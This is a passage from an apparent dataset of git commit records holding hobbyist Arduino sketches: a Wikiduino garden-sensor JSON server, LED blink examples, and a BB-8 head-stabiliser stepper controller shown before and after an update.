p(s); p('\"'); more = true; }\nvoid v (long s) { if (more) { p(','); } client.print(s); more = true; }\nvoid v (int s) { if (more) { p(','); } client.print(s); more = true; }\nvoid v (float s) { if (more) { p(','); } client.print(s); more = true; }\n \nvoid jsonReport () {\n more = false;\n long id = 472647400L;\n \n code(F(\"200 OK\"));\n mime(F(\"application\/json\"));\n sh();\n k(F(\"title\")); v(F(\"garden-report\"));\n k(F(\"logo\"));\n sh();\n k(F(\"nw\")); sa(); v(127); v(255); v(127); ea();\n k(F(\"se\")); sa(); v(63); v(63); v(16); ea();\n eh();\n k(F(\"story\"));\n sa();\n sh();\n k(F(\"type\")); v(F(\"paragraph\"));\n k(F(\"id\")); v(id++);\n k(F(\"text\")); v(F(\"Experimental data from Nike's Community Garden. This content is being served on the open-source hardware Arduino platform running the [[smallest-federated-wiki]] server application.\"));\n eh();\n for (int ch=0; ch<num(temp); ch++) {\n if (temp[ch].code == 0) {break;}\n sh();\n k(F(\"type\")); v(F(\"chart\"));\n k(F(\"id\")); v((long)temp[ch].code);\n k(F(\"caption\")); v(F(\"Degrees Fahrenheit<br>Updated in Seconds\"));\n k(F(\"data\"));\n sa();\n sa(); v(1314306006L); v(temp[ch].data * (9.0F\/5\/16) + 32); ea();\n ea();\n eh();\n }\n for (int ch=0; ch<num(analog); ch++) {\n sh();\n k(F(\"type\")); v(F(\"chart\"));\n k(F(\"id\")); v(201100L+ch);\n k(F(\"caption\")); (ch == 1 ? v(F(\"Battery<br>Volts\")) : v(F(\"Daylight<br>Percent\")));\n k(F(\"data\"));\n sa();\n sa(); v(1314306006L); v(analog[ch] * (ch==1 ? (1347.0F\/89.45F\/1024) : (100.0F\/1024))); ea();\n ea();\n eh();\n }\n sh();\n k(F(\"type\")); v(F(\"chart\"));\n k(F(\"id\")); v(id++);\n k(F(\"caption\")); v(F(\"Wiki Server<br>Requests\"));\n k(F(\"data\"));\n sa();\n sa(); v(1314306006L); v((long)requests); ea();\n ea();\n eh();\n ea();\n k(F(\"journal\"));\n sa();\n ea();\n eh();\n}\n\nvoid errorReport () {\n code(F(\"404 Not Found\"));\n mime(F(\"text\/html\"));\n n(F(\"404 Not Found\"));\n}\n\nvoid faviconReport () {\n code(F(\"200 OK\"));\n mime(F(\"image\/png\"));\n client.write((uint8_t*)F(\"\\0211\\0120\\0116\\0107\\015\\012\\032\\012\\0\\0\\0\\015\\0111\\0110\\0104\\0122\\0\\0\\0\\05\\0\\0\\0\\010\\010\\02\\0\\0\\0\\0276\\0223\\0242\\0154\\0\\0\\0\\025\\0111\\0104\\0101\\0124\\010\\0231\\0143\\0374\\0377\\0277\\0203\\01\\011\\0260\\074\\0370\\0372\\0236\\0236\\0174\\0\\0366\\0225\\026\\0\\0105\\030\\0216\\0134\\0\\0\\0\\0\\0111\\0105\\0116\\0104\\0256\\0102\\0140\\0202\"), 78);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Wikiduino\/Wikiduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e850d7ab66386a6c8824b7b4205341dc379c3b7","subject":"Add BlinkX3","message":"Add BlinkX3\n","repos":"darrell24015\/Uno,darrell24015\/Uno","old_file":"blinkX3\/blinkX3.ino","new_file":"blinkX3\/blinkX3.ino","new_contents":"\/*\n blink\n http:\/\/arduino.cc\/en\/tutorial\/blink\n Turns a LED on and off repeatedly\n This example code is in the public domain\n*\/\n\n\/\/ Connect the anode of the LED to a pin, assign that pin number to variable led\n\/\/ Connect the cathode of the LED to GND with a resistor inline\nint led = 13;\n\/\/ Create array with the times to wait between blinks\nint waitArray[] = {50,100,300};\nint wait = 0;\n\n\/\/ The setup routine runs once when you press the reset button\nvoid setup() {\n \/\/ initialize the pin as output\n pinMode(led, OUTPUT);\n}\n\n\/\/ The loop will repeat indefinately\nvoid loop() {\n \/\/ Use a for loop, blink the LED with times from waitArray\n for (wait=0; wait<3; wait++) {\n digitalWrite(led,HIGH);\n delay(waitArray[wait]);\n digitalWrite(led,LOW);\n delay(waitArray[wait]); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blinkX3\/blinkX3.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"93ec3d6f8ae7649b3ef234fa56b5ce4228f74d1c","subject":"Added HelloBlinky.ino example","message":"Added HelloBlinky.ino example\n","repos":"zfields\/mcp23s17,zfields\/mcp23s17-wiring","old_file":"firmware\/examples\/HelloBlinky.ino","new_file":"firmware\/examples\/HelloBlinky.ino","new_contents":"\/****************\/\n \/* Hello Blinky *\/\n\/****************\/\n#include \"mcp23s17\/mcp23s17.h\"\n\nconst int LED_PIN = 7;\nmcp23s17 gpio_x(mcp23s17::HardwareAddress::HW_ADDR_0); \/\/ All addressing pins set to GND\n\nvoid setup (void) {\n gpio_x.pinMode(LED_PIN, mcp23s17::PinMode::OUTPUT);\n}\n\nvoid loop (void) {\n gpio_x.digitalWrite(LED_PIN, HIGH);\n delay(500);\n gpio_x.digitalWrite(LED_PIN, LOW);\n delay(500);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/HelloBlinky.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"28b3073cdfa2c0431264bc4e201c7e2bcf9315fa","subject":"Update bb-8-Head-stabiliser-controller.ino","message":"Update bb-8-Head-stabiliser-controller.ino","repos":"Gruniek\/BB-UNIT,Gruniek\/BB-UNIT","old_file":"Head\/Stabiliser\/Arduino-firmware\/bb-8-Head-stabiliser-controller\/bb-8-Head-stabiliser-controller.ino","new_file":"Head\/Stabiliser\/Arduino-firmware\/bb-8-Head-stabiliser-controller\/bb-8-Head-stabiliser-controller.ino","new_contents":"\/*\n - OPEN BB-X -\n A open source BB-8 for create you own BB-8!\n ###########################################\n\n https:\/\/github.com\/Gruniek\/OPEN-BB-X\n Made by Daniel M\/Gruniek\/\n \n Compatible only with an Arduino Nano and the specific PCB.\n PCB Link : https:\/\/github.com\/Gruniek\/OPEN-BB-X\/tree\/master\/Head\/Stabiliser\/PCB\n \n --------------\n - Change log -\n --------------\n \n 10\/1016\n ==========\n - Add PID for X and Y\n \n \n To do list\n ==========\n - Add Z rotation controller\n - Add Rx\/Tx from the motherboard for change de coordinate of the head, \n rotate the head and report to the remote the status off all sensors\/positiom.\n \n \n Big thanks for http:\/\/r2builders.fr\/ !\n Initial project : http:\/\/r2builders.fr\/forum\/viewtopic.php?f=26&t=3928&hilit=BB8+par+MOUS\n\n*\/\n\n#include \"Wire.h\"\n#include \"MPU6050.h\"\n\n\n\n\/\/ MOTOR CONFIGURATION \/\/ YOU CAN TOUCH THIS \n\n#define pinEnable 4 \/\/ Activation off all stepper\n\n#define pinStepX 3 \/\/ PIN STEP FOR X\n#define pinDirX 2 \/\/ PIN DIRECTION FOR X \n\n#define pinStepY 6 \/\/ PIN STEP FOR Y\n#define pinDirY 5 \/\/ PIN DIRECTION FOR Y\n\n#define pinStepZ 8 \/\/ PIN STEP FOR Y\n#define pinDirZ 7 \/\/ PIN DIRECTION FOR Y\n\n#define Z_POSITION 9 \/\/ PIN FOR THE DIGITAL INPUT FOR THE HEAD POSITION\n\nbool invertX = false; \/\/ INVERT THE X MOTOR DIRECTION\nbool invertY = true; \/\/ INVERT THE Y MOTOR DIRECTION\nbool invertXY = false; \/\/ INVERT X Y AXIAL \n\nint minX = 45; \/\/ SET THE MIN INCLINAISON FOR X\nint maxX = 135; \/\/ SET THE MAX INCLINAISON FOR X\nint minY = 45; \/\/ SET THE MIN INCLINAISON FOR Y\nint maxY = 135; \/\/ SET THE MAX INCLINAISON FOR Y\n\nint etalonX = 0; \/\/ AJUSTEMENT FOR X\nint etalonY = -6; \/\/ AJUSTEMENT FOR Y\n\nint hysteresis = 1; \/\/ HYSTERESSIS FOR THE ANGLE CALCULATION\n\n\n\/\/=====================\/\/\n\/\/ NOW YOU CAN'T TOUCH \/\/\n\/\/=====================\/\/\n\n\/\/ MPU6050\nMPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\/\/ I2C\nint adress = 2;\nint PING = 13; \/\/ PIN\n\n\/\/ VARIABLE\nint x = 0; \nint y = 0; \nint vx = 0; \nint vy = 0; \n\nint speedX = 0;\nint speedY = 0;\nint speedZ = 0;\nint setpointX = 90; \nint setpointY = 90; \n\nint Zangle = 0;\n\n\nint multiplier = 15;\nint emergencyStop = 11; \/\/ PIN\nint eStop = 12; \/\/ PIN\n\nbool runX = false; \nbool runY = false; \nbool runZ = false;\nbool directX = false; \/\/ false = Gauche \/ true = droite\nbool directY = false; \/\/ false = Gauche \/ true = droite\nbool directZ = false; \/\/ false = Gauche \/ true = droite\n\nbool xok = false;\nbool yok = false;\nbool zok = false;\n\n\/\/ PID\nunsigned long previousMillisX = 0;\nunsigned long previousMillisY = 0;\nunsigned long previousMillisZ = 0;\n\nlong intX = 0;\nlong intY = 0; \n\n\nunsigned long trigGyro = 100;\nunsigned long trigSec = 1000;\nunsigned long trigG = 0;\nunsigned long trigS = 0;\n\n\nbool production = false;\nbool LED_PING = false;\nbool BOOT = false;\n\n\n\n\n\/\/=============================================================================\/\/\n\/\/ SETUP\n\/\/=============================================================================\/\/\nvoid setup()\n{\n\tpinMode( pinEnable , OUTPUT );\n pinMode( pinDirX , OUTPUT );\n pinMode( pinStepX , OUTPUT );\n pinMode( pinDirY , OUTPUT );\n pinMode( pinStepY , OUTPUT );\n pinMode( PING , OUTPUT );\n pinMode( Z_POSITION, INPUT );\n \n \n Serial.begin(9600);\n \n Serial.println(\"Initializing I2C devices...\");\n Serial.print(\"I2C Adress = \");\n Serial.println(adress);\n \n Wire.begin(adress);\n \/\/Wire.onReceive(); \/\/ register event\n\n \n accelgyro.initialize();\n\n\n Serial.println(\"Testing device connections...\");\n Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n}\n\n\/\/=============================================================================\/\/\n\/\/ LOOP\n\/\/=============================================================================\/\/\nvoid loop()\n{\n \/\/ GET MOTION\n \/\/-------------------------------------------------------------------------\/\/\n unsigned long currentG = millis(); \/\/ millis();\n\n if (currentG - trigG >= trigGyro) \n {\n \ttrigG = currentG;\n \n \n \taccelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\t\tif(invertXY)\n\t\t{\n\t\t\ty = (((ax\/180)+etalonX)+90);\n \t\t\tx = (((ay\/180)+etalonY)+90);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tx = (((ax\/180)+etalonX)+90);\n \t\t\ty = (((ay\/180)+etalonY)+90);\n\t\t}\n }\n \n \/\/ GET SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/\n\t \n char msg[30];\n if (Serial.available() > 0)\n {\n \tSerial.readBytesUntil('\\n', msg, sizeof msg);\n\n \tif (strcmp(strtok(msg, \" \"), \"SET\") == 0)\n \t{\n \tSerial.println(\"UPDATE SETPOINT\");\n \t\t\/\/ trouv\u00e9 le message\n \t\tchar *p;\n \t\twhile ((p = strtok(NULL, \" \")) != NULL)\n \t\t{\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n \t\t\tcase 'x': setpointX = val; break;\n \t\t\tcase 'y': setpointY = val; break;\n \t \t\t\tcase 'm': multiplier = val; break;\n \t\t\t\tcase 'i': invertXY = val; break;\n \t\t\t\tcase 'j': invertX = val; break;\n \t\t\t\tcase 'k': invertX = val; break;\n \t\t\t\tcase 'h': hysteresis = val; break;\n \t\t}\n \t\t}\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"RUN\") == 0)\n \t{\n \tSerial.println(\"ROll BB-8 ROLL !\");\n \t production = true;\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"STOP\") == 0)\n \t{\n \t\tSerial.println(\"STOP\");\n \t production = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"BOOT\") == 0)\n \t{\n \t\tSerial.println(\"STOP\");\n \t BOOT = true;\n \t Serial.println(\"BOOTING UP...\");\n \t delay(2000);\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"ROTATE\") == 0) \/\/ ROTATE d1 s100 <-- Rotate Z right, 18c\/sec\n \t{\n \t\t\/\/ trouv\u00e9 le message\n \t\tchar *p;\n \t\twhile ((p = strtok(NULL, \" \")) != NULL)\n \t\t{\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n \t\t\tcase 'd': directZ = val; break;\n \t\t\tcase 's': speedZ = val; break;\n \t\t}\n \t\t}\n \t}\n \t\n \t\n }\n \n if(BOOT)\n {\n \t \/\/ SET X IN POSITION\n \t\tif(x < 90) directX = false;\n \t\telse directX = true;\n \n \t\tif(invertX) \n \t\t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t\t}\n \t\tdigitalWrite(pinDirX, directX); \/\/ dirX\n \t\t\n \t\tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepX, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepX, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!xok) \n \t\t\t{\n \t\t\t\tSerial.println(\"STAT x1\");\n \t\t\t\txok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\n \t\t\/\/ SET Y IN POSITION\n \t\tif(y < 90) directY = false;\n \t\telse directY = true;\n \n \t\tif(invertY) \n \t\t{\n \t\tif(directY) directY = false;\n \t\telse directY = true;\n \t\t}\n \t\tdigitalWrite(pinDirY, directY); \/\/ dirX\n \t\t\n \t\tif(x > (setpointY + hysteresis) || (y < setpointY - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepY, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepY, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!yok) \n \t\t\t{\n \t\t\t\tSerial.println(\"STAT y1\");\n \t\t\t\tyok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\/\/ SET W IN POSITION\n \t\t\n \t\tif(!Z_POSITION)\n \t\t{\n \t\t \tdigitalWrite(pinStepZ, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepZ, 0);\n \t delayMicroseconds( 500 );\t\n \t\t}\n \t\telse\n \t\t{\n \t\t \tif(!zok) \n \t\t\t{\n \t\t\t\tSerial.println(\"STAT z1\");\n \t\t\t\tzok = true;\n \t\t\t\tZangle = 0;\n \t\t\t\tdelay(2000);\n \t\t\t}\t\n \t\t}\n \t\t\n \t\tif( xok && yok && zok)\n \t\t{\n \t\t\tSerial.println(\"Booting UP OK!\");\n \t\t\tSerial.println(\"SEND 'RUN \\n' for start the production\");\n \t\t\tBOOT = false;\n \t\t}\n \n \n }\n \n\t\/\/ PRODUCTION CODE\n \/\/-------------------------------------------------------------------------\/\/ \n if(production) \/\/-\n { \n\n \t\t\/\/ X \/\/\n \n\t\t\/\/ Direction\n \t\tif(x < 90) directX = false;\n \t\telse directX = true;\n \n \t\tif(invertX) \n \t\t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t\t}\n \t\tdigitalWrite(pinDirX, directX); \/\/ dirX\n \n \t\t\/\/ Si ont doit demarer le moteur\n \t\tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis )) \n \t\t{ \n \t\tif(x > minX && x < maxX) runX = true; \n \t\telse runX = false;\n \t\t}\n \t\telse runX = false;\n \n \t\t\/\/ Calcul du PID X\n \t\tif(x < 90) vx = (90 - x); \n \t\tif(x == 0) vx = 0;\n \t\tif(x > 90) vx = (x - 90);\n \n \t\tspeedX = 1000 \/ (vx);\n \t\tspeedX = speedX * multiplier; \/\/ DEL\n \t\tif(speedX < 15) speedX = 15;\n \n\t\t\/\/ Mise en route du moteur\n \t\tunsigned long currentX = millis();\n \t\t\n \tif (currentX - previousMillisX >= speedX) \n \t{\n \t\tpreviousMillisX = currentX;\n \n \t\tif(runX)\n \t\t{\n \t\tdigitalWrite(pinStepX, 1);\n \t\tdelayMicroseconds( 500 );\n \t\tdigitalWrite(pinStepX, 0);\n \t \t\tdelayMicroseconds( 500 );\n \t\t}\n \t\t}\n\n \t\t\/\/ Y \/\/\n \t\t\/\/ Direction\n \t\tif(y < 90) directY = false;\n \t\telse directY = true;\n \t\tif(invertY) \n \t\t{\n \t\tif(directY) directY = false;\n \t\telse directY = true;\n \t\t}\n \t\tdigitalWrite(pinDirY, directY);\n \n\t\t\/\/ Si ont doit demarer le moteur\n \t\tif(y > (setpointY + hysteresis) || (y < setpointY - hysteresis )) \n \t\t{ \n \t\tif(y > minY && y < maxY) runY = true; \n \t\telse runY = false;\n \t\t}\n \t\telse runY = false;\n \n \t\t\/\/ Calcul du PID Y\n \t\tif(y < 90) vy = (90 - y); \n \t\tif(y == 0) vy = 0;\n \t\tif(y > 90) vy = (y - 90);\n \n \t\tspeedY = 1000 \/ (vy);\n \t\tspeedY = speedY * multiplier; \/\/ DEL\n \t\tif(speedY < 15) speedY = 15;\n \n \t\t\/\/ Mise en route du moteur\n \t\tunsigned long currentY = millis(); \/\/ millis();\n\n \tif (currentY - previousMillisY >= speedY) \n \t{\n \t\tpreviousMillisY = currentY;\n \n \t\tif(runY)\n \t\t{\n \t\tdigitalWrite(pinStepY, 1);\n \t\tdelayMicroseconds( 500 );\n \t\tdigitalWrite(pinStepY, 0);\n \t\tdelayMicroseconds( 500 );\n \t\t}\n \t\t} \n \n \t\t\/\/--- Z\n \t\tif(speedZ != 0)\n \t\t{\n \t\t\tunsigned long currentZ = millis();\n \t\t\tif (currentZ - previousMillisZ >= speedZ) \n \t\t{\n \t\t\tpreviousMillisZ = currentZ;\n \n \t \t\tdigitalWrite(pinStepY, 1);\n \t \tdelayMicroseconds( 500 );\n \t \tdigitalWrite(pinStepY, 0);\n \t \tdelayMicroseconds( 500 );\n \t \tif(directZ) Zangle++;\n \t \telse Zangle--;\n \t\t\t} \n \t\t}\n \t\tif(Zangle == 201) Zangle = 0;\n \t\tif(Zangle == -1) Zangle = 0;\n \t\t\n \n } \/\/-\n \n \n \t\/\/ SEND SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/ \n unsigned long currentS = millis(); \/\/ millis();\n\n if (currentS - trigS >= trigSec) \n {\n \ttrigS = currentS;\n \t\n \t\n \t\n \t\/\/ PING\n \tif(LED_PING) LED_PING = false;\n \telse LED_PING = true;\n \tdigitalWrite(PING, LED_PING);\n \t\n \t\n \t\/\/ SEND STATUT\n \tSerial.print(\"SEND x\");\n \tSerial.print(x);\n \tSerial.print(\" y\");\n \tSerial.print(y);\n \tSerial.print(\" i\");\n \tSerial.print(invertXY);\n \tSerial.print(\" j\");\n \tSerial.print(invertX);\n \tSerial.print(\" k\");\n \tSerial.print(invertY);\n \tSerial.print(\" m\");\n \tSerial.print(multiplier);\n \tSerial.print(\" z\");\n \tSerial.print(Zangle);\n \t\n \tSerial.println(\" \");\n }\n}\n","old_contents":"\/*\n - OPEN BB-X -\n A open source BB-8 for create you own BB-8!\n ###########################################\n\n https:\/\/github.com\/Gruniek\/OPEN-BB-X\n Made by Daniel M\/Gruniek\/\n \n Compatible only with an Arduino Nano and the specific PCB.\n PCB Link : https:\/\/github.com\/Gruniek\/OPEN-BB-X\/tree\/master\/Head\/Stabiliser\/PCB\n \n --------------\n - Change log -\n --------------\n \n 10\/1016\n ==========\n - Add PID for X and Y\n \n \n To do list\n ==========\n - Add Z rotation controller\n - Add Rx\/Tx from the motherboard for change de coordinate of the head, \n rotate the head and report to the remote the status off all sensors\/positiom.\n \n \n Big thanks for http:\/\/r2builders.fr\/ !\n Initial project : http:\/\/r2builders.fr\/forum\/viewtopic.php?f=26&t=3928&hilit=BB8+par+MOUS\n\n*\/\n\n#include \"Wire.h\"\n#include \"MPU6050.h\"\n\n\n\n\/\/ MOTOR CONFIGURATION \/\/ YOU CAN TOUCH THIS \n\n#define pinEnable 4 \/\/ Activation off all stepper\n\n#define pinStepX 3 \/\/ PIN STEP FOR X\n#define pinDirX 2 \/\/ PIN DIRECTION FOR X \n\n#define pinStepY 6 \/\/ PIN STEP FOR Y\n#define pinDirY 5 \/\/ PIN DIRECTION FOR Y\n\n#define pinStepY 8 \/\/ PIN STEP FOR Y\n#define pinDirY 7 \/\/ PIN DIRECTION FOR Y\n\n#define Z_POSITION 9 \/\/ PIN FOR THE DIGITAL INPUT FOR THE HEAD POSITION\n\nbool invertX = false; \/\/ INVERT THE X MOTOR DIRECTION\nbool invertY = true; \/\/ INVERT THE Y MOTOR DIRECTION\nbool invertXY = false; \/\/ INVERT X Y AXIAL \n\nint minX = 45; \/\/ SET THE MIN INCLINAISON FOR X\nint maxX = 135; \/\/ SET THE MAX INCLINAISON FOR X\nint minY = 45; \/\/ SET THE MIN INCLINAISON FOR Y\nint maxY = 135; \/\/ SET THE MAX INCLINAISON FOR Y\n\nint etalonX = 0; \/\/ AJUSTEMENT FOR X\nint etalonY = -6; \/\/ AJUSTEMENT FOR Y\n\nint hysteresis = 1; \/\/ HYSTERESSIS FOR THE ANGLE CALCULATION\n\n\n\/\/=====================\/\/\n\/\/ NOW YOU CAN'T TOUCH \/\/\n\/\/=====================\/\/\n\n\/\/ MPU6050\nMPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\/\/ I2C\nint adress = 2;\nint PING = 13; \/\/ PIN\n\n\/\/ VARIABLE\nint x = 0; \nint y = 0; \nint vx = 0; \nint vy = 0; \n\nint speedX = 0;\nint speedY = 0;\n\nint setpointX = 90; \nint setpointY = 90; \n\n\n\nint multiplier = 15;\nint emergencyStop = 11; \/\/ PIN\nint eStop = 12; \/\/ PIN\n\nbool runX = false; \nbool runY = false; \nbool directX = false; \/\/ false = Gauche \/ true = droite\nbool directY = false; \/\/ false = Gauche \/ true = droite\n\nbool xok = false;\nbool yok = false;\nbool zok = false;\n\n\/\/ PID\nunsigned long previousMillisX = 0;\nunsigned long previousMillisY = 0;\nlong intX = 0;\nlong intY = 0; \n\n\nunsigned long trigGyro = 100;\nunsigned long trigSec = 1000;\nunsigned long trigG = 0;\nunsigned long trigS = 0;\n\n\nbool production = false;\nbool LED_PING = false;\nbool BOOT = false;\n\n\n\n\n\/\/=============================================================================\/\/\n\/\/ SETUP\n\/\/=============================================================================\/\/\nvoid setup()\n{\n\tpinMode( pinEnable , OUTPUT );\n pinMode( pinDirX , OUTPUT );\n pinMode( pinStepX , OUTPUT );\n pinMode( pinDirY , OUTPUT );\n pinMode( pinStepY , OUTPUT );\n pinMode( PING , OUTPUT );\n pinMode( Z_POSITION, INPUT );\n \n \n Serial.begin(9600);\n \n Serial.println(\"Initializing I2C devices...\");\n Serial.print(\"I2C Adress = \");\n Serial.println(adress);\n \n Wire.begin(adress);\n \/\/Wire.onReceive(); \/\/ register event\n\n \n accelgyro.initialize();\n\n\n Serial.println(\"Testing device connections...\");\n Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n}\n\n\/\/=============================================================================\/\/\n\/\/ LOOP\n\/\/=============================================================================\/\/\nvoid loop()\n{\n \/\/ GET MOTION\n \/\/-------------------------------------------------------------------------\/\/\n unsigned long currentG = millis(); \/\/ millis();\n\n if (currentG - trigG >= trigGyro) \n {\n \ttrigG = currentG;\n \n \n \taccelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\t\tif(invertXY)\n\t\t{\n\t\t\ty = (((ax\/180)+etalonX)+90);\n \t\t\tx = (((ay\/180)+etalonY)+90);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tx = (((ax\/180)+etalonX)+90);\n \t\t\ty = (((ay\/180)+etalonY)+90);\n\t\t}\n }\n \n \/\/ GET SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/\n\t \n char msg[30];\n if (Serial.available() > 0)\n {\n \tSerial.readBytesUntil('\\n', msg, sizeof msg);\n\n \tif (strcmp(strtok(msg, \" \"), \"SET\") == 0)\n \t{\n \tSerial.println(\"UPDATE SETPOINT\");\n \t\t\/\/ trouv\u00e9 le message\n \t\tchar *p;\n \t\twhile ((p = strtok(NULL, \" \")) != NULL)\n \t\t{\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n \t\t\tcase 'x': setpointX = val; break;\n \t\t\tcase 'y': setpointY = val; break;\n \t \t\t\tcase 'm': multiplier = val; break;\n \t\t\t\tcase 'i': invertXY = val; break;\n \t\t\t\tcase 'j': invertX = val; break;\n \t\t\t\tcase 'k': invertX = val; break;\n \t\t\t\tcase 'h': hysteresis = val; break;\n \t\t}\n \t\t}\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"RUN\") == 0)\n \t{\n \tSerial.println(\"ROll BB-8 ROLL !\");\n \t production = true;\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"STOP\") == 0)\n \t{\n \t\tSerial.println(\"STOP\");\n \t production = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"BOOT\") == 0)\n \t{\n \t\tSerial.println(\"STOP\");\n \t BOOT = true;\n \t Serial.println(\"BOOTING UP...\");\n \t delay(2000);\n \t}\n \t\n \t\n }\n \n if(boot)\n {\n \t \/\/ SET X IN POSITION\n \t\tif(x < 90) directX = false;\n \t\telse directX = true;\n \n \t\tif(invertX) \n \t\t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t\t}\n \t\tdigitalWrite(pinDirX, directX); \/\/ dirX\n \t\t\n \t\tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepX, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepX, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!xok) \n \t\t\t{\n \t\t\t\tSerial.println(STAT x1);\n \t\t\t\txok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\n \t\t\/\/ SET Y IN POSITION\n \t\tif(y < 90) directY = false;\n \t\telse directY = true;\n \n \t\tif(invertY) \n \t\t{\n \t\tif(directY) directY = false;\n \t\telse directY = true;\n \t\t}\n \t\tdigitalWrite(pinDirY, directY); \/\/ dirX\n \t\t\n \t\tif(x > (setpointY + hysteresis) || (y < setpointY - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepY, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepY, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!yok) \n \t\t\t{\n \t\t\t\tSerial.println(STAT y1);\n \t\t\t\tyok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\/\/ SET W IN POSITION\n \t\t\n \t\tif()\n \n \n }\n \n\t\/\/ PRODUCTION CODE\n \/\/-------------------------------------------------------------------------\/\/ \n if(production) \/\/-\n { \n\n \/\/ X \/\/\n \n \/\/ Direction\n if(x < 90) directX = false;\n else directX = true;\n \n if(invertX) \n {\n if(directX) directX = false;\n else directX = true;\n }\n \n digitalWrite(pinDirX, directX); \/\/ dirX\n \n \/\/ Si ont doit demarer le moteur\n if(x > (setpointX + hysteresis) || (x < setpointX - hysteresis )) \n { \n if(x > minX && x < maxX) runX = true; \n else runX = false;\n }\n else runX = false;\n \n \n \/\/ Calcul du PID X\n if(x < 90) vx = (90 - x); \n if(x == 0) vx = 0;\n if(x > 90) vx = (x - 90);\n \n speedX = 1000 \/ (vx);\n speedX = speedX * multiplier; \/\/ DEL\n if(speedX < 15) speedX = 15;\n \n\n \/\/ Mise en route du moteur\n unsigned long currentX = millis();\n\n \n if (currentX - previousMillisX >= speedX) \n {\n previousMillisX = currentX;\n \n if(runX)\n {\n digitalWrite(pinStepX, 1);\n delayMicroseconds( 500 );\n digitalWrite(pinStepX, 0);\n delayMicroseconds( 500 );\n }\n }\n\n \/\/ Y \/\/\n \n \/\/ Direction\n if(y < 90) directY = false;\n else directY = true;\n if(invertY) \n {\n if(directY) directY = false;\n else directY = true;\n }\n digitalWrite(pinDirY, directY);\n \n \/\/ Si ont doit demarer le moteur\n if(y > (setpointY + hysteresis) || (y < setpointY - hysteresis )) \n { \n if(y > minY && y < maxY) runY = true; \n else runY = false;\n }\n else runY = false;\n \n \/\/ Calcul du PID X\n if(y < 90) vy = (90 - y); \n if(y == 0) vy = 0;\n if(y > 90) vy = (y - 90);\n \n speedY = 1000 \/ (vy);\n speedY = speedY * multiplier; \/\/ DEL\n if(speedY < 15) speedY = 15;\n \n\n \/\/ Mise en route du moteur\n unsigned long currentY = millis(); \/\/ millis();\n\n if (currentY - previousMillisY >= speedY) \n {\n previousMillisY = currentY;\n \n if(runY)\n {\n digitalWrite(pinStepY, 1);\n delayMicroseconds( 500 );\n digitalWrite(pinStepY, 0);\n delayMicroseconds( 500 );\n }\n } \n \n } \/\/-\n \n \n \t\/\/ SEND SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/ \n unsigned long currentS = millis(); \/\/ millis();\n\n if (currentS - trigS >= trigSec) \n {\n \ttrigS = currentS;\n \t\n \t\n \t\n \t\/\/ PING\n \tif(LED_PING) LED_PING = false;\n \telse LED_PING = true;\n \tdigitalWrite(PING, LED_PING);\n \t\n \t\n \t\/\/ SEND STATUT\n \tSerial.print(\"SEND x\");\n \tSerial.print(x);\n \tSerial.print(\" y\");\n \tSerial.print(y);\n \tSerial.print(\" i\");\n \tSerial.print(invertXY);\n \tSerial.print(\" j\");\n 